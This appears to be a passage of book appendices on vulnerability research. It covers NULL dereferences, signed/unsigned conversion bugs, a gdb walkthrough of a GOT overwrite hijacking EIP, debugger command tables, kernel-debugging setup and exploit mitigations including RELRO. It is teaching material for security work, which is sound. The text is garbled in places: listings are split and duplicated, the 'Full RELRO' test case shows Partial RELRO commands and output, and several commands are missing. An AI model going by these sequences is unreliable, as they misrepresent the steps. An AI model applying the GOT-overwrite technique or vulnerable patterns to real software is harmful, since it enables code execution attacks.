The access violation is caused when the value of EAX, which is 0x00000000, gets referenced. You can get more information on the cause of the crash by using the debugger command `!analyze -v`:

```
0:000> !analyze -v
[..]
FAULTING_IP:
image00400000+100e
0040100e 8b08    mov ecx,dword ptr [eax]

EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 0040100e (image00400000+0x0000100e)
   ExceptionCode: c0000005 (Access violation)
   ExceptionFlags: 00000000
   NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 00000000
   Attempt to read from address 00000000
[..]
```

NULL pointer dereferences usually lead to a crash of the vulnerable component (denial of service). Depending on the particular programming error, NULL pointer dereferences can also lead to arbitrary code execution.

### A.3 Type Conversions in C

The C programming language is quite flexible in handling different data types. For example, in C it’s easy to convert a character array into a signed integer. There are two types of conversion: *implicit* and *explicit*. In programming languages like C, implicit type conversion occurs when the compiler automatically converts a variable to a different type. This usually happens when the initial variable type is incompatible with the operation you are trying to perform. Implicit type conversions are also referred to as *coercion*.

Explicit type conversion, also known as *casting*, occurs when the programmer explicitly codes the details of the conversion. This is usually done with the cast operator.

Here is an example of an implicit type conversion (coercion):

```
[..]
unsigned int user_input = 0x80000000;
signed int length = user_input;
[..]
```

In this example, an implicit conversion occurs between unsigned int and signed int.
And here is an example of an explicit type conversion (casting):

```
char       cbuf[] = "AAAA";
signed int si     = *(int *)cbuf;
```

In this example, an explicit conversion occurs between char and signed int.

Type conversions can be very subtle and cause a lot of security bugs. Many of the vulnerabilities related to type conversion are the result of conversions between unsigned and signed integers. Below is an example:

```
#include <stdio.h>

unsigned int
get_user_length (void)
{
    return (0xffffffff);
}

int
main (void)
{
    signed int length = 0;

    length = get_user_length ();

    printf("length: %d %u (0x%x)\n", length, length, length);

    if (length < 12)
        printf("argument length ok\n");
    else
        printf("Error: argument length too long\n");

    return 0;
}
```

Listing A-3: A signed/unsigned conversion that leads to a vulnerability (implicit.c)

The source code in Listing A-3 contains a signed/unsigned conversion vulnerability that is quite similar to the one I found in FFmpeg (see Chapter 4). Can you spot the bug?

In line 14, a length value is read in from user input and stored in the signed int variable length. The get_user_length() function is a dummy that always returns the “user input value” 0xffffffff. Let’s assume this is the value that was read from the network or from a data file. In line 18, the program checks whether the user-supplied value
is less than 12. If it is, the string “argument length ok” will be printed on the screen. Since length gets assigned the value 0xffffffff and this value is much bigger than 12, it may seem obvious that the string will not be printed. However, let’s see what happens if we compile and run the program under Windows Vista SP2:

```
C:\Users\tk\BHD>cl /nologo implicit.c
implicit.c
C:\Users\tk\BHD>implicit.exe
length: -1 4294967295 (0xffffffff)
argument length ok
```

As you can see from the output, line 19 was reached and executed. How did this happen?

On a 32-bit machine, an unsigned int has a range of 0 to 4294967295 and a signed int has a range of –2147483648 to 2147483647. The unsigned int value 0xffffffff (4294967295) is represented in binary as 1111 1111 1111 1111 1111 1111 1111 1111 (see Figure A-3). If you interpret the same bit pattern as a signed int, there is a change in sign that results in a signed int value of –1. The sign of a number is indicated by the sign bit, which is usually represented by the Most Significant Bit (MSB). If the MSB is 0, the number is positive, and if it is set to 1, the number is negative.

![Figure A-3: The role of the Most Significant Bit (MSB)](image)

To summarize: If an unsigned int is converted to a signed int value, the bit pattern isn’t changed, but the value is interpreted in the context of the new type. If the unsigned int value is in the range 0x80000000 to 0xffffffff, the resulting signed int will become negative (see Figure A-4).

This was only a brief introduction to implicit and explicit type conversions in C/C++. For a complete description of type conversions in C/C++ and associated security problems, see Mark Dowd, John McDonald, and Justin Schuh’s *The Art of Software Security Assessment: Identifying and Avoiding Software Vulnerabilities* (Addison-Wesley, 2007).
Once you have found a memory corruption vulnerability, you can use a variety of techniques to gain control over the instruction pointer register of the vulnerable process. One of these techniques, called **GOT overwrite**, works by manipulating an entry in the so-called **Global Offset Table (GOT)** of an **Executable and Linkable Format (ELF)** object to gain control over the instruction pointer. Since this technique relies on the ELF file format, it works only on platforms supporting this format (such as Linux, Solaris, or BSD).

The GOT is located in an ELF-internal data section called `.got`. Its purpose is to redirect position-independent address calculations to an absolute location, so it stores the absolute location of function-call symbols used in dynamically linked code. When a program calls a library function for the first time, the **runtime link editor (rtld)** locates the appropriate symbol and relocates it to the GOT. Every new call to that function passes the control directly to that location, so rtld isn’t called for that function anymore. Listing A-4 illustrates this process.

```c
#include <stdio.h>

int main (void)
{
    int i = 16;
    printf("%d\n", i);
    printf("%x\n", i);
    return 0;
}
```

**Listing A-4:** Example code used to demonstrate the function of the Global Offset Table (got.c)
The program in Listing A-4 calls the `printf()` library function two times. I compiled the program with debugging symbols and started it in the debugger (see Section B.4 for a description of the following debugger commands):

```
linux$ gcc -g -o got got.c

linux$ gdb -q ./got

(gdb) set disassembly-flavor intel

(gdb) disassemble main
Dump of assembler code for function main:
0x080483c4 <main+0>:    push   ebp
0x080483c5 <main+1>:    mov    ebp,esp
0x080483c7 <main+3>:    and    esp,0xffffffff0
0x080483ca <main+6>:    sub    esp,0x20
0x080483cd <main+9>:    mov    DWORD PTR [esp+0x1c],0x10
0x080483d5 <main+17>:   mov    eax,0x80484d0
0x080483da <main+22>:   mov    edx,DWORD PTR [esp+0x1c]
0x080483de <main+26>:   mov    DWORD PTR [esp+0x4],edx
0x080483e2 <main+30>:   mov    DWORD PTR [esp],eax
0x080483e5 <main+33>:   call   0x80482fc <printf@plt>
0x080483ea <main+38>:   mov    eax,0x80484d4
0x080483ef <main+43>:   mov    edx,DWORD PTR [esp+0x1c]
0x080483f3 <main+47>:   mov    DWORD PTR [esp+0x4],edx
0x080483f7 <main+51>:   mov    DWORD PTR [esp],eax
0x080483fa <main+54>:   call   0x80482fc <printf@plt>
0x080483ff <main+59>:   mov    eax,0x0
0x08048404 <main+64>:   leave
0x08048405 <main+65>:   ret
End of assembler dump.
```

The disassembly of the `main()` function shows the address of `printf()` in the *Procedure Linkage Table (PLT)*. Much as the GOT redirects position-independent address calculations to absolute locations, the PLT redirects position-independent function calls to absolute locations.

```
(gdb) x/1i 0x80482fc
0x80482fc <printf@plt>:   jmp   DWORD PTR ds:0x80495d8
```

The PLT entry jumps immediately into the GOT:

```
(gdb) x/1x 0x80495d8
0x80495d8 <GLOBAL_OFFSET_TABLE_+20>:  0x08048302
```

If the library function wasn’t called before, the GOT entry points back into the PLT. In the PLT, a relocation offset gets pushed onto
the stack, and execution is redirected to the _init() function. This is where rtld gets called to locate the referenced printf() symbol.

Now let’s see what happens if printf() gets called a second time. First, I defined a breakpoint just before the second call to printf():

I then started the program:

After the breakpoint triggered, I disassembled the main function again to see if the same PLT address was called:
0x080483f3 <main+47>:    mov    DWORD PTR [esp+0x4],edx
0x080483f7 <main+51>:    mov    DWORD PTR [esp],eax
0x080483fa <main+54>:    call   0x80482fc <printf@plt>
0x080483ff <main+59>:    mov    eax,0x0
0x08048404 <main+64>:    leave
0x08048405 <main+65>:    ret
End of assembler dump.

The same address in the PLT was indeed called:

(gdb) x/i 0x80482fc
0x80482fc <printf@plt>: jmp    DWORD PTR ds:0x80495d8

The called PLT entry jumps immediately into the GOT again:

(gdb) x/1x 0x80495d8
0x80495d8 <_GLOBAL_OFFSET_TABLE_+20>:  0xb7ed21c0

But this time, the GOT entry of printf() has changed: It now points directly to the printf() library function in libc.

Now if we change the value of the GOT entry for printf(), it’s possible to control the execution flow of the program when printf() is called:

(gdb) set variable *(0x80495d8)=0x41414141

(gdb) x/1x 0x80495d8
0x80495d8 <_GLOBAL_OFFSET_TABLE_+20>:  0x41414141

(gdb) continue
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

(gdb) info registers eip
eip 0x41414141 0x41414141
We have achieved EIP control. For a real-life example of this exploitation technique, see Chapter 4.

To determine the GOT address of a library function, you can either use the debugger, as in the previous example, or you can use the `objdump` or `readelf` command:

```
linux$ objdump -R got

got:  file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
080495c0  R_386_GLOB_DAT    __gmon_start__
080495d0  R_386_JUMP_SLOT   __gmon_start__
080495d4  R_386_JUMP_SLOT   __libc_start_main
080495d8  R_386_JUMP_SLOT   printf

linux$ readelf -r got

Relocation section '.rel.dyn' at offset 0x27c contains 1 entries:
Offset     Info    Type            Sym.Value  Sym. Name
080495c0  00000106 R_386_GLOB_DAT    00000000   __gmon_start__

Relocation section '.rel.plt' at offset 0x284 contains 3 entries:
Offset     Info    Type            Sym.Value  Sym. Name
080495d0  00000107 R_386_JUMP_SLOT   00000000   __gmon_start__
080495d4  00000207 R_386_JUMP_SLOT   00000000   __libc_start_main
080495d8  00000307 R_386_JUMP_SLOT   00000000   printf
```

Notes

This appendix contains information about debuggers and the debugging process.

### B.1 The Solaris Modular Debugger (mdb)

The following tables list some useful commands of the Solaris Modular Debugger (mdb). For a complete list of available commands, see the *Solaris Modular Debugger Guide*.1

#### Starting and Stopping mdb

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>mdb program</code></td>
<td>Starts mdb with <code>program</code> to debug.</td>
</tr>
<tr>
<td><code>mdb unix.&lt;n&gt; vmcore.&lt;n&gt;</code></td>
<td>Runs mdb on a kernel crash dump (<code>unix.&lt;n&gt;</code> and <code>vmcore.&lt;n&gt;</code> can typically be found in the directory <code>/var/crash/&lt;hostname&gt;</code>).</td>
</tr>
<tr>
<td><code>$q</code></td>
<td>Exits the debugger.</td>
</tr>
</tbody>
</table>
### General Commands

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>::run arguments</td>
<td>Runs the program with the given arguments. If the target is currently running or it is a corefile, mdb will restart the program if possible.</td>
</tr>
</tbody>
</table>

### Breakpoints

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>address::bp</td>
<td>Sets a new breakpoint at the address of the breakpoint location that is specified in the command.</td>
</tr>
<tr>
<td>$b</td>
<td>Lists information about existing breakpoints.</td>
</tr>
<tr>
<td>::delete number</td>
<td>Removes previously set breakpoints specified by their number.</td>
</tr>
</tbody>
</table>

### Running the Debuggee

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>:s</td>
<td>Executes a single instruction. Will step into subfunctions.</td>
</tr>
<tr>
<td>:e</td>
<td>Executes a single instruction. Will not enter subfunctions.</td>
</tr>
<tr>
<td>:c</td>
<td>Resumes execution.</td>
</tr>
</tbody>
</table>

### Examining Data

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>address,count/format</td>
<td>Prints the specified number of objects (count) found at address in the specified format; example formats include B (hexadecimal, 1-byte), X (hexadecimal, 4-byte), S (string).</td>
</tr>
</tbody>
</table>
**Information Commands**

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>$r</td>
<td>Lists registers and their contents.</td>
</tr>
<tr>
<td>$c</td>
<td>Prints a backtrace of all stack frames.</td>
</tr>
<tr>
<td>address::dis</td>
<td>Dumps a range of memory around <em>address</em> as machine instructions.</td>
</tr>
</tbody>
</table>

**Other Commands**

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>::status</td>
<td>Prints a summary of information related to the current target.</td>
</tr>
<tr>
<td>::msgbuf</td>
<td>Displays the message buffer, including all console messages up to a kernel panic.</td>
</tr>
</tbody>
</table>

**B.2 The Windows Debugger (WinDbg)**

The following tables list some useful debugger commands of WinDbg. For a complete list of available commands, see Mario Hewardt and Daniel Pravat’s *Advanced Windows Debugging* (Addison-Wesley Professional, 2007) or the documentation that comes with WinDbg.

**Starting and Stopping a Debugging Session**

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>File &gt; Open Executable...</td>
<td>Click <strong>Open Executable</strong> on the File menu to start a new user-mode process and debug it.</td>
</tr>
<tr>
<td>File &gt; Attach to a Process...</td>
<td>Click <strong>Attach to a Process</strong> on the File menu to debug a user-mode application that is currently running.</td>
</tr>
<tr>
<td>q</td>
<td>Ends the debugging session.</td>
</tr>
</tbody>
</table>
### General Commands

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>g</td>
<td>Begins or resumes execution on the target.</td>
</tr>
</tbody>
</table>

### Breakpoints

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>bp address</td>
<td>Sets a new breakpoint at the address of the breakpoint location that is specified in the command.</td>
</tr>
<tr>
<td>bl</td>
<td>Lists information about existing breakpoints.</td>
</tr>
<tr>
<td>bc breakpoint ID</td>
<td>Removes previously set breakpoints specified by their breakpoint ID.</td>
</tr>
</tbody>
</table>

### Running the Debuggee

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>t</td>
<td>Executes a single instruction or source line and, optionally, displays the resulting values of all registers and flags. Will step into subfunctions.</td>
</tr>
<tr>
<td>p</td>
<td>Executes a single instruction or source line and, optionally, displays the resulting values of all registers and flags. Will not enter subfunctions.</td>
</tr>
</tbody>
</table>

### Examining Data

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>dd address</td>
<td>Displays the contents of address as double-word values (4 bytes).</td>
</tr>
<tr>
<td>du address</td>
<td>Displays the contents of address as unicode characters.</td>
</tr>
<tr>
<td>dt</td>
<td>Displays information about a local variable, global variable, or data type, including structures and unions.</td>
</tr>
<tr>
<td>poi(address)</td>
<td>Returns pointer-sized data from the specified address. Depending on the architecture the pointer size is 32 bits or 64 bits.</td>
</tr>
</tbody>
</table>
B.3 Windows Kernel Debugging

In order to analyze the vulnerability described in Chapter 6, I needed a way to debug the Windows kernel. I set up a debugging environment with VMware and WinDbg by following these steps:

- Step 1: Configure the VMware guest system for remote kernel debugging.
- Step 2: Adjust the boot.ini of the guest system.
- Step 3: Configure WinDbg on the VMware host for Windows kernel debugging.

Throughout this section, I used the following software versions: VMware Workstation 6.5.2 and WinDbg 6.10.3.233.

Step 1: Configure the VMware Guest System for Remote Kernel Debugging

After I installed a Windows XP SP3 VMware guest system, I powered it off and chose Edit Virtual Machine Settings from the Commands section of VMware. I then clicked the Add button to add a new serial port and chose the configuration settings shown in Figures B-1 and B-2.
After the new serial port was successfully added, I selected the Yield CPU on poll checkbox of the “I/O mode” section, as shown in Figure B-3.
Figure B-3: Configuration settings for the new serial port

**Step 2: Adjust the boot.ini of the Guest System**

I then powered up the VMware guest system and edited the *boot.ini* file of Windows XP to contain the following entries (the bold one enabled kernel debugging):

```plaintext
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional - Debug" /fastdetect /debugport=com1
```

I then rebooted the guest system and chose the new entry *Microsoft Windows XP Professional – Debug [debugger enabled]* from the boot menu to start the system, as shown in Figure B-4.
Step 3: Configure WinDbg on the VMware Host for Windows Kernel Debugging

The only thing left was to configure WinDbg on the VMware host so that it attached to the kernel of the VMware guest system using a pipe. To do this, I created a batch file with the content shown in Figure B-5.

I then double-clicked the batch file to attach WinDbg on the VMware host to the kernel of the VMware Windows XP guest system, as shown in Figure B-6.
Figure B-6: Attaching the kernel debugger (WinDbg)

### B.4 The GNU Debugger (gdb)

The following tables list some useful commands of the GNU Debugger (gdb). For a complete list of available commands, see the gdb online documentation.4

#### Starting and Stopping gdb

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>gdb program</td>
<td>Starts gdb with program to debug.</td>
</tr>
<tr>
<td>quit</td>
<td>Exits the debugger.</td>
</tr>
</tbody>
</table>

#### General Commands

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>run arguments</td>
<td>Starts debugged program (with arguments).</td>
</tr>
<tr>
<td>attach processID</td>
<td>Attaches the debugger to the running process with processID.</td>
</tr>
</tbody>
</table>
## Breakpoints

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>break &lt;file&gt;: function</code></td>
<td>Sets a breakpoint at the beginning of the specified function in file.</td>
</tr>
<tr>
<td><code>break &lt;file&gt;: line number</code></td>
<td>Sets a breakpoint at the start of the code for that line number in file.</td>
</tr>
<tr>
<td><code>break *address</code></td>
<td>Sets a breakpoint at the specified address.</td>
</tr>
<tr>
<td><code>info breakpoints</code></td>
<td>Lists information about existing breakpoints.</td>
</tr>
<tr>
<td><code>delete number</code></td>
<td>Removes previously set breakpoints specified by their number.</td>
</tr>
</tbody>
</table>

## Running the Debuggee

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>stepi</code></td>
<td>Executes one machine instruction. Will step into subfunctions.</td>
</tr>
<tr>
<td><code>nexti</code></td>
<td>Executes one machine instruction. Will not enter subfunctions.</td>
</tr>
<tr>
<td><code>continue</code></td>
<td>Resumes execution.</td>
</tr>
</tbody>
</table>

## Examining Data

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>x/CountFormatSize address</code></td>
<td>Prints the specified number of objects (Count) of the specified Size according to the Format at address. Size: b (byte), h (halfword), w (word), g (giant, 8 bytes). Format: o (octal), x (hexadecimal), d (decimal), u (unsigned decimal), t (binary), f (float), a (address), i (instruction), c (char), s (string).</td>
</tr>
</tbody>
</table>

## Information Commands

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>info registers</code></td>
<td>Lists registers and their contents.</td>
</tr>
<tr>
<td><code>backtrace</code></td>
<td>Prints a backtrace of all stack frames.</td>
</tr>
<tr>
<td><code>disassemble address</code></td>
<td>Dumps a range of memory around address as machine instructions.</td>
</tr>
</tbody>
</table>
Other Commands

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>`set disassembly-flavor intel</td>
<td>att`</td>
</tr>
<tr>
<td><code>shell command</code></td>
<td>Executes a shell command.</td>
</tr>
<tr>
<td><code>set variable *(address)=value</code></td>
<td>Stores value at the memory location specified by address.</td>
</tr>
<tr>
<td><code>source file</code></td>
<td>Reads debugger commands from a file.</td>
</tr>
<tr>
<td>`set follow-fork-mode parent</td>
<td>child`</td>
</tr>
</tbody>
</table>

B.5 Using Linux as a Mac OS X Kernel-Debugging Host

In this section, I will detail the steps I performed to prepare a Linux system as a debugging host for the Mac OS X kernel:

- Step 1: Install an ancient Red Hat 7.3 Linux operating system.
- Step 2: Get the necessary software packages.
- Step 3: Build Apple’s debugger on the Linux host.
- Step 4: Prepare the debugging environment.

Step 1: Install an Ancient Red Hat 7.3 Linux Operating System

Because Apple’s GNU Debugger (gdb) version that I used needs a GNU C Compiler (gcc) less than version 3 to build correctly, I downloaded and installed an ancient Red Hat 7.3 Linux system. To install the Red Hat system, I chose the installation type Custom. When I was asked to select the packages to install (Package Group Selection), I chose only the packages Network Support and Software Development, as well as OpenSSH server from the individual package selection. These packages include all the necessary development tools and libraries to build Apple’s gdb under Linux. During the installation, I added an unprivileged user called tk with a home directory under /home/tk.
**Step 2: Get the Necessary Software Packages**

After I had successfully installed the Linux host, I downloaded the following software packages:

- Source code of Apple’s custom gdb version.\(^6\)
- Standard gdb source code from GNU.\(^7\)
- A patch for Apple’s gdb to compile under Linux.\(^8\)
- The appropriate source code version of the XNU kernel. I prepared the Linux debugging host to research the kernel bug described in Chapter 7, so I downloaded the XNU version 792.13.8.\(^9\)
- The appropriate version of Apple’s Kernel Debug Kit. I found the bug explored in Chapter 7 on Mac OS X 10.4.8, so I downloaded the corresponding Kernel Debug Kit version 10.4.8 (*Kernel_Debug_Kit_10.4.8_8L2127.dmg*).

**Step 3: Build Apple’s Debugger on the Linux Host**

After I downloaded the necessary software packages onto the Linux host, I unpacked the two versions of gdb:

```
linux$ tar xvzf gdb-292.tar.gz
linux$ tar xvzf gdb-5.3.tar.gz
```

Then I replaced the *mmalloc* directory of Apple’s source tree with the one from GNU gdb:

```
linux$ mv gdb-292/src/mmalloc gdb-292/src/old_mmalloc
linux$ cp -R gdb-5.3/mm alloc gdb-292/src/
```

I applied the patch to Apple’s gdb version:

```
linux$ cd gdb-292/src/
linux$ patch -p2 < ../../osx_gdb.patch
patching file gdb/doc/stabs.texinfo
patching file gdb/fix-and-continue.c
patching file gdb/mach-defs.h
patching file gdb/macosx/macosx-nat-dyld.h
patching file gdb/mi/mi-cmd-stack.c
```

I used the following commands to build the necessary libraries:

```
linux$ su
Password:
```
To build the debugger itself, I needed to copy some header files from the XNU kernel source code to the `include` directory of the Linux host:

I then commented some typedefs in the new `_types.h` file to avoid compile-time conflicts (see line 39, lines 43 to 49, and lines 78 to 81):

```c
38 #ifdef __GNUC__
39 // typedef __signed char __int8_t;
40 #else   /* !__GNUC__ */
41 typedef char __int8_t;
42 #endif  /* !__GNUC__ */
43 // typedef unsigned char __uint8_t;
44 // typedef short __int16_t;
45 // typedef unsigned short __uint16_t;
46 // typedef int __int32_t;
47 // typedef unsigned int __uint32_t;
48 // typedef long long __int64_t;
49 // typedef unsigned long long __uint64_t;
```
I added a new include to the file `/home/tk/gdb-292/src/gdb/macosx/i386-macosx-tdep.c` (see line 24):

```plaintext
linux# vi +24 /home/tk/gdb-292/src/gdb/macosx/i386-macosx-tdep.c
[..]
24 #include <string.h>
25 #include "defs.h"
26 #include "frame.h"
27 #include "inferior.h"
[..]
```

Finally, I compiled the debugger with the following commands:

```plaintext
linux# cd gdb-292/src/gdb/
linux# ./configure --target=i386-apple-darwin --program-suffix=_osx --disable-gdbtk
linux# make; make install
```

After the compilation completed, I ran the new debugger as root so that the necessary directories could be created under `/usr/local/bin/`:

```plaintext
linux# cd /home/tk
linux# gdb_osx -q
(gdb) quit
```

After that, the debugger was ready.

**Step 4: Prepare the Debugging Environment**

I unpacked the downloaded Kernel Debug Kit disk image file (dmg) under Mac OS X, transferred the files per `scp` to the Linux host, and named the directory `KernelDebugKit_10.4.8`. I also copied the XNU source code into the search path of the debugger:

```plaintext
linux# mkdir /SourceCache
linux# mkdir /SourceCache/xnu
linux# mv xnu-792.13.8 /SourceCache/xnu/
```

In Chapter 7, I described how the newly built kernel debugger can be used to connect to a Mac OS X machine.
Notes

5. There are still a few download mirror sites available where you can get the Red Hat 7.3 ISO images. Here are a few, as of this writing: http://ftp-stud.hs-esslingen.de/Mirrors/archive.download.redhat.com/redhat/linux/7.3/de/iso/i386/, http://mirror.fraunhofer.de/archive.download.redhat.com/redhat/linux/7.3/en/iso/i386/, and http://mirror.cs.wisc.edu/pub/mirrors/linux/archive.download.redhat.com/redhat/linux/7.3/en/iso/i386/.
8. The patch for Apple’s GNU debugger is available at http://www.trapkit.de/books/bhd/osx_gdb.patch.
This appendix contains information about mitigation techniques.

C.1 Exploit Mitigation Techniques

Various exploit mitigation techniques and mechanisms available today are designed to make exploiting memory corruption vulnerabilities as difficult as possible. The most prevalent ones are these:

- Address Space Layout Randomization (ASLR)
- Security Cookies (/GS), Stack-Smashing Protection (SSP), or Stack Canaries
- Data Execution Prevention (DEP) or No eXecute (NX)

There are other mitigation techniques that are bound to an operating system platform, a special heap implementation, or a file format like SafeSEH, SEHOP, or RELRO (see Section C.2). There are also various heap mitigation techniques (heap cookies, randomization, safe unlinking, etc.).
The many mitigation techniques could easily fill another book, so I will focus on the most prevalent ones, as well as on some tools used to detect them.

NOTE There is a continuous race between exploit mitigation techniques and ways of bypassing them. Even systems using all of these mechanisms may be successfully exploited under certain circumstances.

**Address Space Layout Randomization (ASLR)**

ASLR randomizes the location of key areas of a process space (usually the base address of the executable, the position of the stack, the heap, the libraries, and others) to prevent an exploit writer from predicting target addresses. Say you find a `write4` primitive vulnerability that presents you with the opportunity to write 4 bytes of your choosing to any memory location you like. That gives you a powerful exploit if you choose a stable memory location to overwrite. If ASLR is in place, it’s much harder to find a reliable memory location to overwrite. Of course, ASLR is effective only if it’s implemented correctly.¹

**Security Cookies (/GS), Stack-Smashing Protection (SSP), or Stack Canaries**

These methods normally inject a canary or cookie into a stack frame to protect the function’s metadata associated with procedure invocation (e.g., the return address). Before the return address is processed, the validity of the cookie or canary is checked, and the data in the stack frame is reorganized to protect the pointers and arguments of the function. If you find a stack buffer overflow in a function that is protected by this mitigation technique, exploitation can be tough.²

**NX and DEP**

The *No eXecute* (NX) bit is a CPU feature that helps prevent code execution from data pages of a process. Many modern operating systems take advantage of the NX bit. Under Microsoft Windows, hardware-enforced *Data Execution Prevention (DEP)* enables the NX bit on compatible CPUs and marks all memory locations in a process as nonexecutable unless the location explicitly contains executable code. DEP was introduced in Windows XP SP2 and Windows Server 2003 SP1. Under Linux, NX is enforced by the kernel on 64-bit CPUs of AMD and Intel. ExecShield³ and PaX⁴ emulate the NX functionality on older 32-bit x86 CPUs under Linux.
Detecting Exploit Mitigation Techniques

Before you can try to circumvent these mitigation techniques, you have to determine which ones an application or a running process actually uses.

Mitigations can be controlled by system policy, by special APIs, and by compile-time options. For example, the default system-wide DEP policy for Windows client–operating systems is called OptIn. In this mode of operation, DEP is enabled only for processes that explicitly opt in to DEP. There are different ways to opt a process in to DEP. For example, you could use the appropriate linker switch (/NXCOMPAT) at compile time, or you could use the SetProcessDEPPolicy API to allow an application to opt in to DEP programmatically. Windows supports four system-wide configurations for hardware-enforced DEP. On Windows Vista and later, you can use the bcdedit.exe console application to verify the system-wide DEP policy, but this must be done from an elevated Windows command prompt. To verify the DEP and ASLR settings of an application, you can use Sysinternals’s Process Explorer.

To configure Process Explorer so that it shows the processes’ DEP and ASLR status, add the following columns to the view: View ▶ Select Columns ▶ DEP Status and View ▶ Select Columns ▶ ASLR Enabled. Additionally, set the lower pane to view DLLs for a process and add the “ASLR Enabled” column to the view (see Figure C-1).

The newer versions of Windows (Vista or later) also support ASLR by default, but the DLLs and EXEs must opt in to support ASLR using the /DYNAMICBASE linker option. It is important to note that protection is significantly weaker if not all modules of a process opt in to ASLR. In practice, the effectiveness of mitigations like DEP and ASLR is heavily dependent on how completely each mitigation technology has been enabled by an application.

Figure C-1 shows an example of Process Explorer being used to observe the DEP and ASLR settings of Internet Explorer. Note that the Java DLLs that have been loaded into the context of Internet Explorer do not make use of ASLR (denoted by an empty value for the ASLR column in the lower pane). Microsoft has also released a tool called BinScope Binary Analyzer, which analyzes binaries for a wide variety of security protections with a straightforward, easy-to-use interface.

If both DEP and ASLR are correctly deployed, exploit development is a lot harder.

To see if a Windows binary supports the security cookie (/GS) mitigation technique, you can disassemble the binary with IDA Pro and look for references to the security cookie in the function epilogue and prologue, as shown in Figure C-2.
Figure C-1: DEP and ASLR status shown in Process Explorer

Figure C-2: Security cookie (/GS) reference in the function prologue and epilogue (IDA Pro)
To check the system-wide configurations of Linux systems as well as ELF binaries and processes for different exploit mitigation techniques, you can use my checksec.sh script.

C.2 RELRO

RELRO is a generic exploit mitigation technique to harden the data sections of an ELF\textsuperscript{10} binary or process. ELF is a common file format for executables and libraries that is used by a variety of UNIX-like systems, including Linux, Solaris, and BSD. RELRO has two different modes:

**Partial RELRO**

- Compiler command line: `gcc -Wl,-z,relro`.
- The ELF sections are reordered so that the ELF internal data sections (`.got`, `.dtors`, etc.) precede the program’s data sections (`.data` and `.bss`).
- Non-PLT GOT is read-only.
- PLT-dependent GOT is still writeable.

**Full RELRO**

- Compiler command line: `gcc -Wl,-z,relro,-z,now`.
- Supports all the features of Partial RELRO.
- Bonus: The entire GOT is (re)mapped as read-only.

Both Partial and Full RELRO reorder the ELF internal data sections to protect them from being overwritten in the event of a buffer overflow in the program’s data sections (`.data` and `.bss`), but only Full RELRO mitigates the popular technique of modifying a GOT entry to get control over the program execution flow (see Section A.4).

To demonstrate the RELRO mitigation technique, I made up two simple test cases. I used Debian Linux 6.0 as a platform.

**Test Case 1: Partial RELRO**

The test program in Listing C-1 takes a memory address (see line 6) and tries to write the value \texttt{0x41414141} at that address (see line 8).

```c
#include <stdio.h>

int main (int argc, char *argv[]) {
    size_t *p = (size_t *)strtol (argv[1], NULL, 16);
    
```
Listing C-1: Example code used to demonstrate RELRO (testcase.c)

I compiled the program with Partial RELRO support:

```c
08   p[0] = 0x41414141;
09   printf ("RELRO: %p\n", p);
10
11   return 0;
12 }
```

Test Case 2: Full RELRO

This time, I compiled the test program with Full RELRO support:

```c
08   p[0] = 0x41414141;
09   printf ("RELRO: %p\n", p);
10
11   return 0;
12 }
```

I then checked the resulting binary with my checksec.sh script:

```bash
linux$ gcc -g -Wl,-z,relro -o testcase testcase.c
```

```bash
ing(x)$ ./checksec.sh --file testcase
RELRO           STACK CANARY      NX            PIE                     FILE
Partial RELRO   No canary found   NX enabled    No PIE                  testcase
```

Next I used objdump to gather the GOT address of the printf() library function used in line 9 of Listing C-1 and then tried to overwrite that GOT entry:

```bash
linux$ objdump -R ./testcase | grep printf
0804a00c R_386_JUMP_SLOT   printf
```

I started the test program in gdb in order to see exactly what was happening:

```bash
linux$ gdb -q ./testcase
```

```gdb
(gdb) run 0804a00c
Starting program: /home/tk/BHD/testcase 0804a00c
Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? ()
```

```gdb
(gdb) info registers eip
eip          0x41414141     0x41414141
```

